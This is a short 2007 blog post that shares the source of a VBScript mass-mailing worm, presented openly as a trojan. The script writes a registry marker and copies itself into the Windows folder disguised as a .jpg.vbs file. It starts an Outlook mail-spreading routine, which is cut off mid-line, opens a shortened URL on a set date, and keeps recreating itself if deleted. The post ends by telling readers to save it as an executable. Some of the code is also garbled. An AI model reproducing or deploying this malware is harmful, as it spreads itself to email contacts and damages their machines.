Thursday, November 8, 2007

this is a trojan (don't know which species)

this is a trojan (don't know which species)
[code][mexer]RESTRICTED AREA[mexer]
Vbs.Basic Trojan Created By ARUN
On Error Resume Next
Set shellobject = CreateObject("WScript.Shell")
shellobject.regwrite "HKCU\software\Greator\", "Worm made with Vbswg 1.50b"
Set filesystem= Createobject("scripting.filesystemobject")
filesystem.copyfile wscript.scriptfullname,filesystem.GetSpecialFolder(0)&"\Fergielicious.jpg.vbs"
if shellobject.regread ("HKCU\software\Greator\mailed") <> "1" then
mail_trojan()
end if
if month(now) =1 and day(now) =26 then
shellobject.run " http://tinyurl.com/yry6ob",3,false
end if
Set wormfile= filesystem.opentextfile(wscript.scriptfullname, 1)
payload= wormfile.readall
wormfile.Close
Do
If Not (filesystem.fileexists(wscript.scriptfullname)) Then
Set newfile= filesystem.createtextfile(wscript.scriptfullname, True)
newfile.writepayload
newfile.Close
End If
Loop
Function mail_trojan()
On Error Resume Next
Set outlook = CreateObject("Outlook.Application")
If outlook= "Outlook"Then
Set mapi=outlook.GetNameSpace






save it as .bat or .exe